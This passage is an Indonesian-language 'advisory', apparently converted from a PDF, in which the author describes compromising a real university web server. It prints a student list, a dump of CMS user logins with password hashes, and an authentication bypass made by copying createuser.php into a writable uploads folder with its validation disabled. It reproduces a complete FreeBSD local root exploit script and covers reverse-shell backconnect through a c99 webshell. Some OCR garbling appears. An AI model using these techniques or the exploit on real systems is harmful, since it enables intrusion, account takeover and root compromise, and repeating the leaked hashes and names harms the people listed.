	P. BAHASA NOORIS	8.	4110085722	ANGOAR SUKMANA SAPUTRA	Laki-Laki
Info	P. BAHASA JEPANO	9.	4110207839	ARIF ARDIVANTO	Laki-Laki
Pendaftaran	P. BAHASA JERMAN	10	4110164755	ARIWICAKSONO	Laki-Laki
Mahasiswa Baru	P. EKONOM	11.	4110089693	Ayu Wulan Yuniarti N	Perempuan
	P. GEOGRAFI	12.	4110020547	CICIK FITRIANI	Perempuan
	P. SENCRATASIK	13.	4110168440	DYAH SETIORINI	Perempuan

Kita hanya perlu merubah data yang ada pada Database, dengan cara manual. Gambaranya begini, "kita sedang makan langsung menggunakan tangan, jadi tidak memakai sendok dan garpu". Hal ini sama persis dengan apa yang kita lakukan di atas, jadi kita tidak memakai CMS(halaman admin) yang ada, melainkan langsung ke pusat data.

Perlu diketahui lagi, sesuai "Ethical Hacking" saya telah mengembalikan halaman di atas seperti semula.

5. KRIPTOGRAFI

Kriptografi merupakan salah satu teknik hacking yang bertujuan untuk membalikan enkripsi suatu kode/password, baik secara manual atau menggunakan tool. Dengan kata lain, hal ini disebut "Dekripsi/Decoding", dan umumnya digunakan untuk membalikan password yang berbentuk "Encrypted/Hash" menjadi ASCII format.

Berikut daftar user CMS yang kita temukan pada Database utama UNZA,

	Select S	Search Sort Limit Action			
Create new table	>> SELECT * FR	OM 'user' LINIT 30 Edit			
select agenda	🗆 edit login	passwd			
select berita	edit admin 9QDMWNFetdVVk1WTaJlVShHMwY1Rx0GVVxmRN5EctVlcsZkVDxmMU				
select bursa kerja	🔲 <u>edit</u> ari	9ATRS9GcXdVVKZIYPBHShBXNrVWYs12VIpVRipIUWNVevZkVGRGWUFXNrFWYxc2			
select cv kat	edit fik	9QTRStGbXdVeVZVTaB3MZd3bsFmVSpHVYxmRNBlUVdlevFjULRXbUVlUHJGUkxGV			
select cv user	edit fip	9sGbhJEcuRVcsVVZhB3RiRHcxIISKR1VxBXRhpFZsZ1bsFjVHh2VUhkWGF2Twd1U6			
select file upload	edit www	9ATRS9GcXdVVKZIYPBHShBXNrVWYs12VIpVRiplUWNVevZkVGRGWUFXNrFWYxc1			
select iklan	🖾 edit heru	98mRSJnQUdFdWBDZQJVMZFDNwY1T01GVVZVROFmUxkVerZkVSpkeUhlRs1kWS			
select iklan m select instansi select jurgal	🗌 <u>edit</u> eka	98mRSJnQUdFdWBDZQJVMZFDNwY1T01GVVZVROFmUxkVerZkVSpkeUhlRs1kWS			
	🗌 <u>edit</u> putri	9sGbUFZYRVcxsWZhFTbUJXNFZlckh1V5tGbN9kUwklerZkVuRGWXhFcwEGUStGVv			
select jurnal d	🔲 <u>edit</u> faiz	9sWMWtEbtdFWWVUZaRmVXRDbsFmUSR1V2YURJ9EcykVNxUkUaB3MUhEcrFmTk			
select jurnal m					

Terlihat bahwa password pada gambar di atas telah dirubah/dienkripsi. Dan jika kita amati, enkripsi yang digunakan di atas tidaklah umum, melainkan buatan UNZA sendiri (Insya Allah, kalau tidak salah memakai Kembo Hash, :-D).

Pertama yang harus kita selidiki adalah file pembuat enkripsi tersebut. Yakni pada folder **newsroom** terdapat file "**createuser.php**" yang berfungsi untuk membuat user baru sekaligus passwordnya. Dalam file tsb, tepatnya pada baris 23-31 terdapat beberapa baris JavaScript yang berfungsi untuk mengolah password.

```
user8 = document.fastlogin regform.tlogin.value.toLowerCase();
      user8 = user8.replace(/</g,"");
24
      user8 = user8.replace(/>/g,"");
25
      user8 = user8.replace(/"/g,"*");
26
27
      document.fastlogin_regform.tlogin.value = user8;
28
      document.fastlogin_regform.hashlb.value = MD5(document.fastlogin_regform.hashla.value);
29
      document.fastlogin_regform.hash1a.value = "";
      document.fastlogin_regform.hash2a.value = "";
30
31
      document.fastlogin_regform.submit();
```

Selain itu, pada awal file terdapat perintah include ke file "**config_login.php**", yang mengandung **seed** untuk memperkuat proses enkripsi password. Berikut beberapa baris script penting dari file tsb.

19	if(getenv(HTTP_CLIENT_IP)) (
20	<pre>\$thisip = getenv(HTTP_CLIENT_IP);</pre>
21) else (
22	<pre>Sthisip = getenv(REMOTE_ADDR);</pre>
23	-)
24	global Sthisip;
25	<pre>\$mdip = md5(\$thisip);</pre>
26	<pre>if (Sseed == "") {</pre>
27	<pre>// Sseed = md5(uniqid("ithinkacordinmybrainjustbrokecausedbytomuchcode!!!!"));</pre>
28	<pre>\$seed = md5(uniqid("elifere"));</pre>
29	} else {
30	<pre>\$seed = \$seed;</pre>
31	

Berbekal informasi tersebut, proses dekripsi akan lebih mudah. Dan sebagian besar menggunakan teknik **MD5** untuk enkripsi. Perlu diketahui bahwa saat ini banyak sekali website online yang menyediakan fasilitas MD5 Decrypter, seperti <u>www.md5decrypter.com</u>.

Namun, proses dekripsi tsb tidak semudah itu. Sebab dalam seed/salt di atas, terdapat beberapa nilai yang selalu berubah-ubah. Yakni **Ip Address Client** dan fungsi **UNIQID** sendiri. Oleh karna itu, teknik kriptografi kali ini kita akhiri sampai di sini saja. Insya Allah akan kita lanjutkan di lain waktu, dan tentunya dengan ilmu yang lebih mendalam (-_-).

6. LOCAL XSRF

Sama seperti Remote XSRF, namun kali ini bedanya terletak pada komputer yang dapat mengakses celah tersebut. Jadi celah ini hanya dapat kita lakukan melalui komputer Localhost saja. Bicara tentang Localhost, kita telah menguasainya pada bagian sebelumnya.

Sekedar informasi tambahan, pada website utama unza terdapat halaman CMS (Content Management System) pada folder **newsroom.** Jadi jika kita mengunjungi <u>www.unza.ac.id/newsroom</u>, maka akan muncul halaman LogIn pada system seperti berikut,

	Content	Management	System	C	
к	User I Passwor ode keamana	D 1 d 1 n 1 login			

Target kita sekarang lebih spesifik lagi, yaitu file yang berada pada direktori **newsroom** tersebut saja. Kita ambil salah satu saja sebagai bahan percobaan, kali ini file tersebut bernama **createuser.php**. Dari namanya saja kita sudah tahu apa fungsi dari file tersebut, iya kan.

Berikut beberapa baris script awal dari file tersebut,

1	<pre>Fersion_start();</pre>
2	include "validate.php";
3	include "common.php";
4	include "setting.php";
5	include "function.php";
6	<pre>if (\$_SESSION[cmstate_auth]!="m") do_redirect("restrict.php");</pre>
7	<pre>include("config_login.php");</pre>
8	<pre>\$con_brt = mysql_connect(\$dbhost,\$dbuser,\$dbpasswd);</pre>
9	- ?>
10	E <html></html>
11	= <head></head>
12	<pre><link href="cms.css" rel="stylesheet" type="text/css"/></pre>

Pada awal script tersebut, terdapat beberapa perintah untuk memvalidasi user. Tujuanya untuk memastikan apakah user yang mengakses file tersebut benar-benar admin atau tidak. Dengan terambil alihnya kekuasaan Localhost, hal ini pun dapat kita akali dengan cara membuat ulang file tersebut, namun kali ini sedikit kita modifikasi (Poisoning Technic).

Dalam baris nomor dua, terdapat perintah include ke file "**validate.php**". Dimana file tersebut digunakan untuk memvalidasi user. Intinya, jika user tersebut tidak terdaftar dalam database, maka user tersebut akan ditendang keluar oleh PHP.

Baik, sekarang kita buat file baru dengan nama "**createuser.php**", dan file tersebut kita letakan pada direktori ajaib (writeable direktori). Mengapa kita sebut demikian, karena sepengetahuan kita, hanya ada satu direktori yang writeable yaitu **fmipa.unza.ac.id/wp-content/uploads** saja yang berada di bawah virtual host. Sebut saja, kita membuat basecamp penampungan di tempat tersebut (^_^). Kemudian copy-paste kan file **createuser.php** yang asli.

1	<pre>p<? session_start();</pre></pre>
2	<pre># include "/usr/home/soboparan/wwwl/newsroom/validate.php";</pre>
3	include "/usr/home/soboparan/wwwl/newsroom/common.php";
4	include "/usr/home/soboparan/wwwl/newsroom/setting.php";
5	include "/usr/home/soboparan/wwwl/newsroom/function.php";
б	= if (\$ SESSION[cmstate auth]!="m") do redirect("restrict.php");
7	include ("/usr/home/soboparan/wwwl/newsroom/config login.php");
8	<pre>\$con_brt = mysql_connect(\$dbhost,\$dbuser,\$dbpasswd);</pre>
9	- ?>
10	@ <html></html>
11	- <head></head>
12	<pre>k href="http://www.context.ac.id/newsroom/cms.css" rel="stylesheet" type="text/css"></pre>

Kali ini kita akan sedikit melakukan modifikasi pada baris nomor dua dan enam. Karna script tersebut akan menggangu pekerjaan kita, maka kita disable saja dengan menambahkan shell comment "#" pada awal baris. Dengan begitu, dua baris script tersebut tidak akan dijalankan oleh PHP.

Selanjutnya, sebab file tersebut sekarang terletak pada direktori yang berbeda dari **"newsroom"**. Maka kita harus merubah alamat lengkap dari source file yang di-include. Seperti halnya yang terlihat pada baris 3,4,5, dan 6 pada gambar di atas.

Tidak hanya itu, file-file source seperti CSS dan JS yang memiliki ketergantungan pada file tersebut juga harus kita rubah. Hal ini dapat Anda lihat pada baris baris nomor 12.

Kemudian coba kita kunjungi file tersebut melalui web browser, dengan alamat lengkap seperti berikut.

http://fmipa.unza.ac.id/wp-content/uploads/createuser.php

Dan tebak apa yang muncul, alhasil berikut yang tampil pada browser saya,

C - C X	1 http://fmipa	bc.id/wp-content/uploads/createuser.php?sv=2
🖏 Google Terjemahan 🔣	FB 💕 mig33	
Dashboard < Al-Man	Facebook	GRAND Flash Album 📄 Edit Page < Al-Mans 📄 Gallery Al-Mansyur 📄 http:/p?sv=2 🐻 🛛 0° Select: ber
Entry Data Dafta	r Data	
🗆= enable 🛛 = disab	le	HAL : 1
USER ID	NAMA	STATUS
🖸 admin	Administrator	A-
an an	Ari K	M-
🖸 imanz	Mochamad Sulaiman	
🗇 faiz	Sehafuddin Al Faiz	
🗇 putri	Putri Diyanti	O - Universitas Colorado a de Colorado a
🖂 eka	Eka R	0 - Universitas des et al anti-trade a state a sta
🗇 heru	Heru Siswanto	O - Universitas decide - 65 - 65 - 65 - 65 - 65 - 65 - 65 - 6
l www	Admin www.	0 - Universitas Alexandra Granden al Attractionaria and Constraints
[] fip	Admin FIP	O - Fakultas Ilmu Pendidikan Faculty of Education Science
Sigit .	Sigit Widodo	0 - Fakultas Ilmu Pendidikan/Faculty of Education Science

Kita dapat merubah dan menambah user di atas, tanpa LogIn terlebih dahulu pada CMS Admin. Inilah yang disebut dengan teknik XSRF (Cross Site Request Forgery). Dengan bekal file XSRF tersebut, kita menambahkan user baru pada Database, sehingga kita bisa masuk ke halaman CMS berikut.

Media Centre v	www.unesa.ac.id - A	Aozilla Firefox									
Ele Ed yes	Higtory Bookmarks	Look Help									
G . C	× 🔬 🖾 N		oon/hanindex.php				Ý.	- ankaniana			P
🛃 Google Terjemaha	n 🛐 FE Of Values 👌	🖁 Ginal 😅 mig33									
T Pacebook	Widgets + Al-Ma.	Fale Virus (VBS	Add New Post - Of (19 unread) Va	fogauresa.ac.	beenedi liberned	Media Ce 🖬		Al-Marshurin m	0.848	60	+ +
Content Manag	entred	itina) indicati									
Robert Field	+Cari Ber	Ra:	FRANCE						Pini :	1	and the second s
Manual Linds Kineses	TGL	State of the local division of the local div	AUGA				TITLE		HE	ec.	IOL PARES
a freed as	2018-06	-30 Rah Gelar Terfavorit	di Konsunindo 2011						- 29	1	edit hapkus
Contar Konstani	2011-06	-30 Lukuskan Dua Pronovi	endus Lagi						5		edt hans
Dottar Melalati	2011-06	-29 Pendidkan untuk Ana	k Indonesia di Malaysia						17		edit hapos
Bootar Janual Break	2011-06	-29 Jenbakani Junisan Se	ndi atasik Unesa Dengan Akanri 93P Surabaya	12 C					6	•	edit hapara
Percent	-2011-06	-28 Revitalisasi Kearifah L	okal dalam Pendidikan						73	. 1	edit hapus
BUT SET OF	2011-06	-27 Bangun Kota Surabay	a, Penkot Gandeng PT						59	•	edt hapsn
reeno more	2011-06	-26 Texplathan Kuaikas W	Irausaha Muda						50	• 1	edit hapari
Walnut Tananka a	2011-06	-25 Tingkatkan Kompeten	si Guru Nelalu PLPG						641		edit hapun
Kolom rengan ; in	2011-06	-22 25 Pesona Karya Rep	osisi						60	• 1	edit hapus
Tel Part / Conto	2011-06	-21 Pendidikan Karakter,	Solusi Bengsa						91	•	edit hapus
Contraction of the second s	2011-06	-20 Smergiskan Antara Sc	At Skill dan Hard Skill						100	•	edt hapus
Kolom Kenen t	2011-06	-19 Unesa Juara Kompeti	si Walkota Cup 2011						63	-	edit hapus
HINGSON	2011-06	-18 Prioritaskan Nilai Kehk	Supan dalam Fraktik Olahraga						79		edit hapus
Berta Ltana	2011-06	-16 Unesa Kembali Lukuki	an Doktor Bahasa dan Sastra						70		edit hapus
Trip to Personance	2011-00	-16 Perlu Dewan Kehoma	itan Guru						73	•	edit hapus
The second se	2011-06	i-13 Pemerakaan Peka Kak	uatan Robotka di Indonesia						05		est hapon
File Management (2011-06	-11 Keenan Kalinya Sang	par tihorado Tampé di TVRI						99	• 1	edit hapus
Dokumen : Sarik I Us	2011-00	1-09 Nuance Gan's of Cult	ure dalam Riesan						122	•	ede hapus
	2011-06	-08 Bahan Lokal Cita Rasi	a 3nčernasional						136	•	edit hapos
Web Configuration	2011-06	-08 Serbalut Konvensiona	i dan Modern dalam Neo Pusion 2011						146	•	edit hapus
Entropy / Salar	2011-06	-06 Bosaris Merçanab Tar	itangan Gobial						137	•	edt hapus
and the second second	2011-06	-06 Walkota Suzabaya Ci	inongkan Hutan Kota di Unesa						204		edit hapus
AND CONTRACTOR	2011-06	1-05 Alang Paner Karya d	Mal						155	•	edit hapari
The Dall	2011-06	-04 Unesa PTN Paling Kon	peotif Se-Jabin						095		edit hapasi
TATI A	2011-06	C2 UNESA Herbau Ingiler	neritasi Konkret Piencasile						177		edt hapus
Conceptor -	2011-06	-GE Deknik Mesin Unesa A	Janas Adu Jago Dill Raivo 2011						329		edit hapos
	2011-06	-CI Money PRPI Unesa di	Ubeya						119	_	edit hapus
Cart Damard	2011-02	-30 Mengembangkan Pen	odkan di Indonesia untuk Mewujudkan Karakte	k peridre					162		estit hapon
and the second se	2011-05	-30 Services Dariah Seriou	Kenidupan						139		edit hapun
Diogona	2011-05	P29 Persepan Det di Perse	angan turcat						- 64	÷.	ent hapen
	12345	678910111213									5
Sec.									_		
TANK									Constanting of	_	-
start	Du: 00:49:29	ADRIA (C.)	Media Caritre monta	Dinelacied.	S Philippie Value	e states				1.1	A ROUM

Bayangkan saja, apa yang dapat kita lakukan jika halaman CMS sudah kita kuasai. Kita dapat dengan mudah merubah artikel-artikel apapun yang diposting pada website UNZA, tanpa harus lagi merubahnya dengan cara manual (Database Manipulation). Berikut ini tampilan editor dari CMS unza,

Facebook	ets < Al-Ma 💶 Fake Virus (VBS 🧟 Add New Post < 🞯! (19 unread) Ya 📋 🏘 🖓 🚻 http:///passw
Content Management	BERITA UTAMA Contractor and Contract
Kolom Kiri :	Indonesia
Menu / Info Kampus Prestasi Daftar Konsultasi Daftar Majalah Daftar Junal Imiah	DATA BERITA * Tanggal : 05-07-2011 Even :
∎Beasiswa ∎Bursa Kerja	Gambar : Browse.
Menu Prodi Kolom Tengah : Agenda Kegiatan Tautan / Link	- Untuk upload gambar gunakan "browse" jangan ditulis manual I - Jenis file : .jpg, .jpeg, .gif & .png - Besar file maksimal 200 KB Kata Kunci : - Kata kunci lebih dari 1 kata pisahkan tanda titik-koma (;)
Kolom Kanan : Headine	[Style] V [Font] V [Size] V B I U S x ² × ₂ 2 30
Info & Pengumuman	■ ■ ■ - 注 注 停 停 Δ 🎐 🍓 🖻 🥱 🗖 🖄 ③2000
File Management : Dokumen : Bank Upload	କଳକଳଳର ଅନ୍ତର ହେଇଥିଏ । 🕐 🖉 🖉 ଅନ୍ତର ଅନେକଳେଳେଳେଳେ 🖉 🖓
Web Configuration : Seting Desain & Modul Banner / Iklan	
User ID aktif [p] - 1 Operator	

Ini salah satu contoh halaman UNZA, jika hacker berhasil menyusup ke dalamnya.



Halaman di atas sudah saya kembalikan seperti semula, mengingat bahwa sejak awal advisory ini hanya ditujukan untuk pendidikan semata. Bukan untuk tindakan merusak (cracking).

7. PRIVILEDGE ESCALATION

Priviledge Escalation, sesuai namanya yaitu merupakan teknik hacking yang bertujuan untuk mendapatkan hak akses tertinggi pada suatu system. Dalam hal ini, kita yang berada pada user biasa (**www** dengan uid dan gid 80), berusaha untuk bisa mendapatkan hak akses super user (**root** dengan uid dan gid 0).

Metode yang paling umum digunakan pada teknik ini adalah dengan memanfaatkan bugs yang terdapat pada aplikasi lokal. Tidak hanya itu, bahkan kernel yang cacat pun dapat kita eksploitasi. Metode ini sering disebut juga dengan "Local Root Eksploit". Oleh karena itu, kita harus sering-sering mengupdate kernel dengan versi terbaru, agar proses patching terus berjalan.

Dalam kernel FreeBSD 7.1 yang belum di Patch, terdapat celah eksploitasi untuk mendapatkan hak akses root. Berikut script eksploit tsb, yang saya dapat dari r00t zeroday oleh Kingcope.

```
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
  extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
```

File di atas harus kita simpan dengan ekstensi ***.sh**, sebab script di atas merupakan script bash/shell. Untuk menjalankan file tsb, kita tidak bisa menggunakan webshell (PHP), melainkan kita harus melakukanya melalui shell asli (bash).

Untuk dapat menjalankan shell asli, kita harus melakukan **BackConnect** ke server UNZA tsb. Salah satu tool yang paling umum digunakan untuk hal ini adalah **Netcat.** Dan untungnya, pada webshell c99 sudah didukung layanan BackConnect tsb. Terdapat dua metode dalam BackConnect ini, yaitu Bind Connection dan Reverse Connection.

Pertama, kita lakukan percobaan dahulu menggunakan Bind Connection, dimana kita akan mendobrak langsung ke server UNZA, yang sebelumnya server tsb sudah membuka port tertentu untuk kita. Namun ketika saya melakukan hal ini, selalu muncul pesan error, yang menandakan port tsb di-filter atau bahkan di-blokir. Hal ini terjadi sebab adanya firewall, yang memblokir port tertentu agar tidak bisa dieksploitasi dari luar. Pada kasus ini, kita gagal menggunakan Bind Connection.

Kedua, kita coba menggunakan Reverse Connection, dimana server UNZA-lah yang akan mendobrak masuk ke system kita sendiri, pada port yang telah kita buka sebelumnya. Sebab, kebanyakan server akan membatasi paket yang masuk, tapi bukan paket yang keluar!!

Khusus Reverse Connection ini, kita membutuhkan mesin komputer dengan **Ip Address Public** yang dapat diakses melalui internet. Sayangnya saya tidak memiliki mesin dengan spesifikasi tsb, jadi dengan terpaksa saya mengurungkan diri untuk melakukan teknik ini. Atau mungkin, memang tidak seharusnya saya masuk server orang lain dengan lancang begitu saja. Maafkan saya ya, saya tidak berniat jahat (-_-).

Omong-omong, metode Reverse Connection ini juga dapat kita lakukan menggunakan bantuan Server MIRC Iho (^_^).

Sekian advisory ini, saya harap bisa sedikit membantu agar website UNZA lebih berkembang dan berbenah diri lagi. Terima Kasih.

OtoBiografi



My fullname is Abdullah Puja Kusuma Erawan. Or you can call me Pudja_Mansyurin for the shortest one.

Pudja Mansyurin, was born in Sidoarjo Regency (Indonesia) at 4th Desember 1993. The name "Mansyurin or Manshurin" was taken from Arabic language, it means "God's Help".

I lived in Sidoarjo, was just until 3rd class of Elementary School. Then I moved to Jombang Regency about 4 mounths. It's happened 'cause, there was a family problem.

Then, finally I hope, I moved to Mojokerto Regency until nowdays. Yup, live is full with struggle, right. But, the good thing is, I've got so many friends from different places. I hope, we'll meet again bro, someday.

I started to learn Computer and Networking in SMKn 1 Pungging. It's located in Mojokerto Regency too. From that Institute, I've got so many knowledge and more information.

There, I choose a Teknik Komputer Jaringan as my Major. This major, help me to improve my hobbies more. I'am really exciting in Computer Networking, especially in Security of the Net. Even I learned about hacking and cracking too. You can visit my official WebBlog at Al-Mansyurin Informatika for more details.

Nowdays, I improve my skill in PENS-ITS Institute. Even I accepted in Telecommunication Technic, it's not makes me leave my hobbies, that hobbies is (Informatika Knowledge). Maybe God has His own plan for me, so I always appreciate anything that He gives to me. And, by the way, I still can learn it from the Internet, can't I.

Here, I've some message for you guys, hope you know what it means.

- Be proud of what you can do, and do not worry about what you cannot do.
- The quitter you become, the more you are able to hear (form BackTrack).
- Defeat the Information, and you'll defeat the world.
- Be Teacher of the World, of course.

That's all from me, and thanks.

(Mojokerto, 8 Juli 2011) Pudja Mansyurin

20